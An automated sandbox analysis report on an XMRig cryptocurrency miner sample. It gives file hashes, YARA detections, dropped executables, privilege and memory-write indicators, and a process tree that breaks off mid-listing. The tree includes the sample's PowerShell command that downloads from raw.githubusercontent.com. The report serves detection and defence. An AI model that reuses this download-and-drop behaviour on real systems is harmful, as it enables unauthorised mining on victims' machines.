xmrig | 952c9ee29ef8765d80890fa1cd48cbdbac1bcee55a8122a53f8310b4799f4324

Analysis

max time kernel
30s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
30/04/2024, 02:44

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
Size

2.1MB
MD5

08d9bc85657695ead9ee800f939aa5c7
SHA1

a41b35355824b757ef930ab53bcf3fccbbf59d89
SHA256

952c9ee29ef8765d80890fa1cd48cbdbac1bcee55a8122a53f8310b4799f4324
SHA512

46a44181a9ee47e9b85211e72b798df058bb2ccda7aaa68ba835774994807b2ddce4849c47dd5077f20358c5374af26433ed42aeafc23f0e51d3ebe9b97a2217
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82g1VQx7Va4qr9:NABg

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 41 IoCs

miner

resource	yara_rule
behavioral2/memory/4576-47-0x00007FF7539E0000-0x00007FF753DD2000-memory.dmp	xmrig
behavioral2/memory/4908-46-0x00007FF774E90000-0x00007FF775282000-memory.dmp	xmrig
behavioral2/memory/3368-85-0x00007FF7873D0000-0x00007FF7877C2000-memory.dmp	xmrig
behavioral2/memory/2844-67-0x00007FF6876E0000-0x00007FF687AD2000-memory.dmp	xmrig
behavioral2/memory/960-60-0x00007FF63B4A0000-0x00007FF63B892000-memory.dmp	xmrig
behavioral2/memory/2328-53-0x00007FF65D300000-0x00007FF65D6F2000-memory.dmp	xmrig
behavioral2/memory/3652-50-0x00007FF6A67D0000-0x00007FF6A6BC2000-memory.dmp	xmrig
behavioral2/memory/5116-41-0x00007FF644C70000-0x00007FF645062000-memory.dmp	xmrig
behavioral2/memory/2596-36-0x00007FF740D80000-0x00007FF741172000-memory.dmp	xmrig
behavioral2/memory/3316-460-0x00007FF60DC10000-0x00007FF60E002000-memory.dmp	xmrig
behavioral2/memory/1556-478-0x00007FF764900000-0x00007FF764CF2000-memory.dmp	xmrig
behavioral2/memory/3128-471-0x00007FF74A430000-0x00007FF74A822000-memory.dmp	xmrig
behavioral2/memory/2804-454-0x00007FF6784A0000-0x00007FF678892000-memory.dmp	xmrig
behavioral2/memory/1996-488-0x00007FF765B10000-0x00007FF765F02000-memory.dmp	xmrig
behavioral2/memory/2988-495-0x00007FF740AF0000-0x00007FF740EE2000-memory.dmp	xmrig
behavioral2/memory/3584-515-0x00007FF7996B0000-0x00007FF799AA2000-memory.dmp	xmrig
behavioral2/memory/1372-517-0x00007FF6430F0000-0x00007FF6434E2000-memory.dmp	xmrig
behavioral2/memory/4892-524-0x00007FF648E20000-0x00007FF649212000-memory.dmp	xmrig
behavioral2/memory/3616-498-0x00007FF64F850000-0x00007FF64FC42000-memory.dmp	xmrig
behavioral2/memory/2596-1968-0x00007FF740D80000-0x00007FF741172000-memory.dmp	xmrig
behavioral2/memory/5116-1974-0x00007FF644C70000-0x00007FF645062000-memory.dmp	xmrig
behavioral2/memory/4908-1985-0x00007FF774E90000-0x00007FF775282000-memory.dmp	xmrig
behavioral2/memory/3652-1997-0x00007FF6A67D0000-0x00007FF6A6BC2000-memory.dmp	xmrig
behavioral2/memory/2328-2002-0x00007FF65D300000-0x00007FF65D6F2000-memory.dmp	xmrig
behavioral2/memory/960-2004-0x00007FF63B4A0000-0x00007FF63B892000-memory.dmp	xmrig
behavioral2/memory/5020-2030-0x00007FF714540000-0x00007FF714932000-memory.dmp	xmrig
behavioral2/memory/3368-2037-0x00007FF7873D0000-0x00007FF7877C2000-memory.dmp	xmrig
behavioral2/memory/2572-2035-0x00007FF6FA9D0000-0x00007FF6FADC2000-memory.dmp	xmrig
behavioral2/memory/3316-2044-0x00007FF60DC10000-0x00007FF60E002000-memory.dmp	xmrig
behavioral2/memory/2804-2042-0x00007FF6784A0000-0x00007FF678892000-memory.dmp	xmrig
behavioral2/memory/2844-2016-0x00007FF6876E0000-0x00007FF687AD2000-memory.dmp	xmrig
behavioral2/memory/4576-1988-0x00007FF7539E0000-0x00007FF753DD2000-memory.dmp	xmrig
behavioral2/memory/1556-2090-0x00007FF764900000-0x00007FF764CF2000-memory.dmp	xmrig
behavioral2/memory/2988-2097-0x00007FF740AF0000-0x00007FF740EE2000-memory.dmp	xmrig
behavioral2/memory/4892-2091-0x00007FF648E20000-0x00007FF649212000-memory.dmp	xmrig
behavioral2/memory/3616-2083-0x00007FF64F850000-0x00007FF64FC42000-memory.dmp	xmrig
behavioral2/memory/1996-2080-0x00007FF765B10000-0x00007FF765F02000-memory.dmp	xmrig
behavioral2/memory/3584-2084-0x00007FF7996B0000-0x00007FF799AA2000-memory.dmp	xmrig
behavioral2/memory/1372-2082-0x00007FF6430F0000-0x00007FF6434E2000-memory.dmp	xmrig
behavioral2/memory/3128-2061-0x00007FF74A430000-0x00007FF74A822000-memory.dmp	xmrig
behavioral2/memory/1380-4299-0x00007FF6A9290000-0x00007FF6A9682000-memory.dmp	xmrig

Blocklisted process makes network request 8 IoCs

flow	pid	Process
3	3180	powershell.exe
5	3180	powershell.exe
10	3180	powershell.exe
11	3180	powershell.exe
14	3180	powershell.exe
15	3180	powershell.exe
18	3180	powershell.exe
23	3180	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2596	vfpqvae.exe
5116	lAQMIGf.exe
4908	GZjNlrU.exe
4576	vIotvZB.exe
3652	ifUOKrG.exe
2328	GYXKSDL.exe
960	hdmByeS.exe
2844	BNGJgsN.exe
5020	FztTeNm.exe
2572	FnZpCYi.exe
3368	bTmbgLA.exe
2804	KlWEFGI.exe
3316	DwcazaW.exe
3128	KTSyfmE.exe
1556	hKOgrIh.exe
1996	aVvLJES.exe
2988	uRGuocJ.exe
3616	NlioAwu.exe
3584	uMOfcow.exe
1372	AQkGTMz.exe
4892	JnlrrFH.exe
4500	wUyxmvk.exe
1704	njqlCgx.exe
1892	XAQotYU.exe
4980	juldnIC.exe
696	ReUdvJJ.exe
5080	OZiCHvu.exe
4316	lvxSZMh.exe
3916	eqOKLQJ.exe
3008	qxYiAQp.exe
3896	dNjRCzs.exe
2116	XDWmFQA.exe
4492	VvYFkKO.exe
3204	kSrvkPc.exe
4144	NevAIYK.exe
3388	ctntVti.exe
4644	vHrmspz.exe
2784	NkdWsky.exe
4840	WktijgM.exe
2512	MDUYXPG.exe
3712	gTxygKr.exe
4196	sTgnyuA.exe
2616	xpvgbGx.exe
2856	uUOdIsu.exe
4604	LmnkPUx.exe
4996	xiHSpEk.exe
4916	lfIDFBm.exe
5132	pytklpc.exe
5160	YNSvOah.exe
5188	tPdmNPF.exe
5224	btKfRIt.exe
5252	jguSWjZ.exe
5280	wZRCHwY.exe
5312	sEaHAHa.exe
5332	jalFKZq.exe
5356	zomKdxo.exe
5384	ivnkCGn.exe
5420	FygdYHC.exe
5452	udMAajm.exe
5476	ACdKvfx.exe
5496	ItvppQc.exe
5532	rEuQuuU.exe
5568	haHSxbZ.exe
5588	cfmOjyl.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1380-0-0x00007FF6A9290000-0x00007FF6A9682000-memory.dmp	upx
behavioral2/files/0x0008000000023252-5.dat	upx
behavioral2/files/0x0008000000023257-17.dat	upx
behavioral2/files/0x000700000002325a-15.dat	upx
behavioral2/files/0x0008000000023258-30.dat	upx
behavioral2/files/0x0008000000023259-38.dat	upx
behavioral2/files/0x000b000000023227-45.dat	upx
behavioral2/memory/4576-47-0x00007FF7539E0000-0x00007FF753DD2000-memory.dmp	upx
behavioral2/memory/4908-46-0x00007FF774E90000-0x00007FF775282000-memory.dmp	upx
behavioral2/files/0x000700000002325b-55.dat	upx
behavioral2/files/0x000700000002325c-59.dat	upx
behavioral2/files/0x000700000002325f-79.dat	upx
behavioral2/files/0x0007000000023260-87.dat	upx
behavioral2/files/0x0007000000023261-88.dat	upx
behavioral2/memory/3368-85-0x00007FF7873D0000-0x00007FF7877C2000-memory.dmp	upx
behavioral2/memory/5020-81-0x00007FF714540000-0x00007FF714932000-memory.dmp	upx
behavioral2/files/0x0007000000023262-95.dat	upx
behavioral2/files/0x0007000000023263-100.dat	upx
behavioral2/files/0x0007000000023265-109.dat	upx
behavioral2/files/0x0007000000023264-105.dat	upx
behavioral2/files/0x0007000000023268-125.dat	upx
behavioral2/files/0x000700000002326e-155.dat	upx
behavioral2/files/0x0007000000023274-185.dat	upx
behavioral2/files/0x0007000000023273-180.dat	upx
behavioral2/files/0x0007000000023272-175.dat	upx
behavioral2/files/0x0007000000023271-170.dat	upx
behavioral2/files/0x0007000000023270-165.dat	upx
behavioral2/files/0x000700000002326f-160.dat	upx
behavioral2/files/0x000700000002326d-150.dat	upx
behavioral2/files/0x000700000002326c-145.dat	upx
behavioral2/files/0x000700000002326b-140.dat	upx
behavioral2/files/0x000700000002326a-135.dat	upx
behavioral2/files/0x0007000000023269-130.dat	upx
behavioral2/files/0x0007000000023267-120.dat	upx
behavioral2/files/0x0007000000023266-115.dat	upx
behavioral2/files/0x000700000002325e-78.dat	upx
behavioral2/files/0x000700000002325d-74.dat	upx
behavioral2/memory/2572-73-0x00007FF6FA9D0000-0x00007FF6FADC2000-memory.dmp	upx
behavioral2/memory/2844-67-0x00007FF6876E0000-0x00007FF687AD2000-memory.dmp	upx
behavioral2/memory/960-60-0x00007FF63B4A0000-0x00007FF63B892000-memory.dmp	upx
behavioral2/memory/2328-53-0x00007FF65D300000-0x00007FF65D6F2000-memory.dmp	upx
behavioral2/memory/3652-50-0x00007FF6A67D0000-0x00007FF6A6BC2000-memory.dmp	upx
behavioral2/memory/5116-41-0x00007FF644C70000-0x00007FF645062000-memory.dmp	upx
behavioral2/memory/2596-36-0x00007FF740D80000-0x00007FF741172000-memory.dmp	upx
behavioral2/memory/3316-460-0x00007FF60DC10000-0x00007FF60E002000-memory.dmp	upx
behavioral2/memory/1556-478-0x00007FF764900000-0x00007FF764CF2000-memory.dmp	upx
behavioral2/memory/3128-471-0x00007FF74A430000-0x00007FF74A822000-memory.dmp	upx
behavioral2/memory/2804-454-0x00007FF6784A0000-0x00007FF678892000-memory.dmp	upx
behavioral2/memory/1996-488-0x00007FF765B10000-0x00007FF765F02000-memory.dmp	upx
behavioral2/memory/2988-495-0x00007FF740AF0000-0x00007FF740EE2000-memory.dmp	upx
behavioral2/memory/3584-515-0x00007FF7996B0000-0x00007FF799AA2000-memory.dmp	upx
behavioral2/memory/1372-517-0x00007FF6430F0000-0x00007FF6434E2000-memory.dmp	upx
behavioral2/memory/4892-524-0x00007FF648E20000-0x00007FF649212000-memory.dmp	upx
behavioral2/memory/3616-498-0x00007FF64F850000-0x00007FF64FC42000-memory.dmp	upx
behavioral2/memory/2596-1968-0x00007FF740D80000-0x00007FF741172000-memory.dmp	upx
behavioral2/memory/5116-1974-0x00007FF644C70000-0x00007FF645062000-memory.dmp	upx
behavioral2/memory/4908-1985-0x00007FF774E90000-0x00007FF775282000-memory.dmp	upx
behavioral2/memory/3652-1997-0x00007FF6A67D0000-0x00007FF6A6BC2000-memory.dmp	upx
behavioral2/memory/2328-2002-0x00007FF65D300000-0x00007FF65D6F2000-memory.dmp	upx
behavioral2/memory/960-2004-0x00007FF63B4A0000-0x00007FF63B892000-memory.dmp	upx
behavioral2/memory/5020-2030-0x00007FF714540000-0x00007FF714932000-memory.dmp	upx
behavioral2/memory/3368-2037-0x00007FF7873D0000-0x00007FF7877C2000-memory.dmp	upx
behavioral2/memory/2572-2035-0x00007FF6FA9D0000-0x00007FF6FADC2000-memory.dmp	upx
behavioral2/memory/3316-2044-0x00007FF60DC10000-0x00007FF60E002000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
3	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\xXyqOkh.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\ivnkCGn.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\sfLsYEM.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\ZHzssta.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\wGaTAyN.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\REHKCEX.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\nWcmgky.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\VefLQvp.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\gXMoFMo.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\nUqwdXu.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\QiBllVM.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\GdfYwXx.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\tqMKMtI.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\MLakCVT.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\smsuZYB.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\idBkKhp.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\EsFjJaz.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\rEuQuuU.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\ipIBHll.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\WCPXCaT.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\DgxmDmA.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\kokbnUw.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\OwXwCix.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\DwcazaW.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\XDWmFQA.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\krlvBme.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\VIliPDF.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\ubvrwKq.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\JnlrrFH.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\VvYFkKO.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\ucMNJQd.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\IhUuXHV.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\FztTeNm.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\KlWEFGI.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\lfIDFBm.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\udMAajm.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\RtJfnYP.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\fYnTUmg.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\URKMBaW.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\PslPdwK.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\VMxGMMP.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\uUOdIsu.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\xiHSpEk.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\hamQTqT.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\BTKhzmd.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\PzObMvq.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\EVxKYFu.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\lvSmoqS.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\oHPFypg.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\GYXKSDL.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\wUyxmvk.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\XAQotYU.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\jVRlSHs.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\GmIOsPy.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\FssZTyq.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\nHdhEAz.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\YNSvOah.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\IruWQPv.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\MaDqXnf.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\aUJeCjO.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\qEFpmIG.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\JEoKEuu.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\zDlySNP.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
File created	C:\Windows\System\BmRLAce.exe	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
Token: SeDebugPrivilege	3180	powershell.exe
Token: SeLockMemoryPrivilege	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1380 wrote to memory of 3180	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	92
PID 1380 wrote to memory of 3180	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	92
PID 1380 wrote to memory of 2596	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	93
PID 1380 wrote to memory of 2596	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	93
PID 1380 wrote to memory of 5116	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	94
PID 1380 wrote to memory of 5116	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	94
PID 1380 wrote to memory of 4908	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	95
PID 1380 wrote to memory of 4908	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	95
PID 1380 wrote to memory of 4576	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	96
PID 1380 wrote to memory of 4576	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	96
PID 1380 wrote to memory of 3652	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	97
PID 1380 wrote to memory of 3652	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	97
PID 1380 wrote to memory of 2328	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	98
PID 1380 wrote to memory of 2328	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	98
PID 1380 wrote to memory of 960	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	99
PID 1380 wrote to memory of 960	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	99
PID 1380 wrote to memory of 2844	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	100
PID 1380 wrote to memory of 2844	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	100
PID 1380 wrote to memory of 5020	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	101
PID 1380 wrote to memory of 5020	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	101
PID 1380 wrote to memory of 2572	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	102
PID 1380 wrote to memory of 2572	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	102
PID 1380 wrote to memory of 3368	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	103
PID 1380 wrote to memory of 3368	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	103
PID 1380 wrote to memory of 3316	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	104
PID 1380 wrote to memory of 3316	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	104
PID 1380 wrote to memory of 2804	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	105
PID 1380 wrote to memory of 2804	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	105
PID 1380 wrote to memory of 3128	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	106
PID 1380 wrote to memory of 3128	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	106
PID 1380 wrote to memory of 1556	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	107
PID 1380 wrote to memory of 1556	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	107
PID 1380 wrote to memory of 1996	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	108
PID 1380 wrote to memory of 1996	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	108
PID 1380 wrote to memory of 2988	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	109
PID 1380 wrote to memory of 2988	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	109
PID 1380 wrote to memory of 3616	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	110
PID 1380 wrote to memory of 3616	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	110
PID 1380 wrote to memory of 3584	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	111
PID 1380 wrote to memory of 3584	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	111
PID 1380 wrote to memory of 1372	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	112
PID 1380 wrote to memory of 1372	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	112
PID 1380 wrote to memory of 4892	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	113
PID 1380 wrote to memory of 4892	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	113
PID 1380 wrote to memory of 4500	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	114
PID 1380 wrote to memory of 4500	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	114
PID 1380 wrote to memory of 1704	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	115
PID 1380 wrote to memory of 1704	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	115
PID 1380 wrote to memory of 1892	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	116
PID 1380 wrote to memory of 1892	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	116
PID 1380 wrote to memory of 4980	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	117
PID 1380 wrote to memory of 4980	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	117
PID 1380 wrote to memory of 696	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	118
PID 1380 wrote to memory of 696	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	118
PID 1380 wrote to memory of 5080	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	119
PID 1380 wrote to memory of 5080	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	119
PID 1380 wrote to memory of 4316	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	120
PID 1380 wrote to memory of 4316	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	120
PID 1380 wrote to memory of 3916	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	121
PID 1380 wrote to memory of 3916	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	121
PID 1380 wrote to memory of 3008	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	122
PID 1380 wrote to memory of 3008	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	122
PID 1380 wrote to memory of 3896	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	123
PID 1380 wrote to memory of 3896	1380	08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe	123

C:\Users\Admin\AppData\Local\Temp\08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\08d9bc85657695ead9ee800f939aa5c7_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3180
- C:\Windows\System\vfpqvae.exe
  C:\Windows\System\vfpqvae.exe
  2⤵
  - Executes dropped EXE
  PID:2596
- C:\Windows\System\lAQMIGf.exe
  C:\Windows\System\lAQMIGf.exe
  2⤵
  - Executes dropped EXE
  PID:5116
- C:\Windows\System\GZjNlrU.exe
  C:\Windows\System\GZjNlrU.exe
  2⤵
  - Executes dropped EXE
  PID:4908
- C:\Windows\System\vIotvZB.exe
  C:\Windows\System\vIotvZB.exe
  2⤵
  - Executes dropped EXE
  PID:4576
- C:\Windows\System\ifUOKrG.exe
  C:\Windows\System\ifUOKrG.exe
  2⤵
  - Executes dropped EXE
  PID:3652
- C:\Windows\System\GYXKSDL.exe
  C:\Windows\System\GYXKSDL.exe
  2⤵
  - Executes dropped EXE
  PID:2328
- C:\Windows\System\hdmByeS.exe
  C:\Windows\System\hdmByeS.exe
  2⤵
  - Executes dropped EXE
  PID:960
- C:\Windows\System\BNGJgsN.exe
  C:\Windows\System\BNGJgsN.exe
  2⤵
  - Executes dropped EXE
  PID:2844
- C:\Windows\System\FztTeNm.exe
  C:\Windows\System\FztTeNm.exe
  2⤵
  - Executes dropped EXE
  PID:5020
- C:\Windows\System\FnZpCYi.exe
  C:\Windows\System\FnZpCYi.exe
  2⤵
  - Executes dropped EXE
  PID:2572
- C:\Windows\System\bTmbgLA.exe
  C:\Windows\System\bTmbgLA.exe
  2⤵
  - Executes dropped EXE
  PID:3368
- C:\Windows\System\DwcazaW.exe
  C:\Windows\System\DwcazaW.exe
  2⤵
  - Executes dropped EXE
  PID:3316
- C:\Windows\System\KlWEFGI.exe
  C:\Windows\System\KlWEFGI.exe
  2⤵
  - Executes dropped EXE
  PID:2804
- C:\Windows\System\KTSyfmE.exe
  C:\Windows\System\KTSyfmE.exe
  2⤵
  - Executes dropped EXE
  PID:3128
- C:\Windows\System\hKOgrIh.exe
  C:\Windows\System\hKOgrIh.exe
  2⤵
  - Executes dropped EXE
  PID:1556
- C:\Windows\System\aVvLJES.exe
  C:\Windows\System\aVvLJES.exe
  2⤵
  - Executes dropped EXE
  PID:1996
- C:\Windows\System\uRGuocJ.exe
  C:\Windows\System\uRGuocJ.exe
  2⤵
